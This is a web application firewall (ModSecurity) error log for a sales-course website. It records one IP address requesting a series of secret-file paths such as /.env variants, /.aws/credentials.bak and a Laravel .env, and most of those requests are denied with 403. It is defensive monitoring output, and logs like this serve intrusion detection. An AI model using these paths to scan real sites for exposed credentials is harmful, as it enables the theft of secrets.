[Mon Oct 26 22:39:38.649887 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env-example"] [unique_id "auAO6nfB5_cr2AuVp7R4FwAAABA"]
[Mon Oct 26 22:39:38.651788 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "auAO6s8F3ZZVbqNCqKaAnQAAAAo"]
[Mon Oct 26 22:39:38.652168 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "auAO6s8F3ZZVbqNCqKaAnQAAAAo"]
[Mon Oct 26 22:39:38.652500 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "auAO6s8F3ZZVbqNCqKaAnQAAAAo"]
[Mon Oct 26 22:39:38.719948 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "auAO6vYA9VE6YOVz3TBNtwAAABE"]
[Mon Oct 26 22:39:38.720200 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "auAO6vYA9VE6YOVz3TBNtwAAABE"]
[Mon Oct 26 22:39:38.720511 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "auAO6vYA9VE6YOVz3TBNtwAAABE"]
[Mon Oct 26 22:39:38.722339 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "auAO6rtiWD9g5qPk3WNeQAAAAAc"]
[Mon Oct 26 22:39:38.722567 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "auAO6rtiWD9g5qPk3WNeQAAAAAc"]
[Mon Oct 26 22:39:38.722960 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "auAO6rtiWD9g5qPk3WNeQAAAAAc"]
[Mon Oct 26 22:39:38.724403 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auAO6lzBh5ooeihzFpChjQAAAAk"]
[Mon Oct 26 22:39:38.724629 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auAO6lzBh5ooeihzFpChjQAAAAk"]
[Mon Oct 26 22:39:38.724929 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auAO6lzBh5ooeihzFpChjQAAAAk"]
[Mon Oct 26 22:39:38.726245 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "auAO6nfB5_cr2AuVp7R4GAAAABA"]
[Mon Oct 26 22:39:38.726373 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "auAO6nfB5_cr2AuVp7R4GAAAABA"]
[Mon Oct 26 22:39:38.726612 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "auAO6nfB5_cr2AuVp7R4GAAAABA"]
[Mon Oct 26 22:39:38.728248 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "auAO6s8F3ZZVbqNCqKaAngAAAAo"]
[Mon Oct 26 22:39:38.728391 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "auAO6s8F3ZZVbqNCqKaAngAAAAo"]
[Mon Oct 26 22:39:38.728657 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "auAO6s8F3ZZVbqNCqKaAngAAAAo"]
[Mon Oct 26 22:39:38.730345 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "auAO6iOYJjK4Eh4U5Qme6QAAAAY"]
[Mon Oct 26 22:39:38.730481 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "auAO6iOYJjK4Eh4U5Qme6QAAAAY"]
[Mon Oct 26 22:39:38.730714 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "auAO6iOYJjK4Eh4U5Qme6QAAAAY"]
[Mon Oct 26 22:39:38.732427 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "auAO6hQzMRo5zrQE7iykcQAAAAQ"]
[Mon Oct 26 22:39:38.732581 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "auAO6hQzMRo5zrQE7iykcQAAAAQ"]
[Mon Oct 26 22:39:38.732805 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "auAO6hQzMRo5zrQE7iykcQAAAAQ"]
[Mon Oct 26 22:39:38.779849 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "auAO6ix89dM6HoCaCT-ngwAAABU"]
[Mon Oct 26 22:39:38.796568 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "auAO6ix89dM6HoCaCT-ngwAAABU"]
[Mon Oct 26 22:39:38.796938 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "auAO6ix89dM6HoCaCT-ngwAAABU"]
[Mon Oct 26 22:39:38.798762 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auAO6rtiWD9g5qPk3WNeQQAAAAc"]
[Mon Oct 26 22:39:38.798882 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "auAO6iOodMWIbKjvKGh77wAAABk"]
[Mon Oct 26 22:39:38.798907 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auAO6rtiWD9g5qPk3WNeQQAAAAc"]
[Mon Oct 26 22:39:38.799059 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "auAO6iOodMWIbKjvKGh77wAAABk"]
[Mon Oct 26 22:39:38.799154 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auAO6rtiWD9g5qPk3WNeQQAAAAc"]
[Mon Oct 26 22:39:38.799218 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auAO6rtiWD9g5qPk3WNeQQAAAAc"]
[Mon Oct 26 22:39:38.799233 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auAO6rtiWD9g5qPk3WNeQQAAAAc"]
[Mon Oct 26 22:39:38.799298 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "auAO6iOodMWIbKjvKGh77wAAABk"]
[Mon Oct 26 22:39:38.800361 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "auAO6lzBh5ooeihzFpChjgAAAAk"]
[Mon Oct 26 22:39:38.800507 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "auAO6lzBh5ooeihzFpChjgAAAAk"]
[Mon Oct 26 22:39:38.800745 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "auAO6lzBh5ooeihzFpChjgAAAAk"]
[Mon Oct 26 22:39:38.796182 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "auAO6vYA9VE6YOVz3TBNuAAAABE"]
